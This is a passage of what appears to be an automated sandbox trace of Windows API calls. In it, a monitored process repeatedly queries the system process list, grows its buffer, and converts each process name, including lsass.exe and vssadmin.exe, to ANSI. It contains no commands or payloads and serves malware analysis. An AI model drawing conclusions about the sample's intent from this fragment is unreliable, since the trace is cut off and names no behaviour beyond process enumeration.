out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.617] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0181.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0800 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e10 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e28 [0181.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.618] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0810 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0181.619] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0181.619] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e10 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d18d8 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbda8 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1b18 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e88 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a18 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d18d8 [0181.620] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0181.620] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.621] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.621] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0181.621] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.621] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0181.621] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0181.621] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.621] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0181.621] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0181.621] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0181.621] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0181.621] Sleep (dwMilliseconds=0x64) [0181.880] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0181.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.880] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0181.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.881] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0181.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.881] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0181.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.881] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0181.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.881] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0181.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.881] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0181.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.882] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0181.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.882] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0181.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.882] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0181.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.882] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0181.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.883] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0181.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.883] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0181.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.883] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0181.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.883] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0181.883] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.884] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0181.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.884] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0181.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.884] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0181.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.885] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0181.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.885] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0181.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0610 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1df8 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0181.886] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.886] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f06d0 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.887] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.887] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e70 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d17f8 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc050 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d17f8 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e88 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1ab8 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1a18 [0181.888] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0181.888] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0181.888] 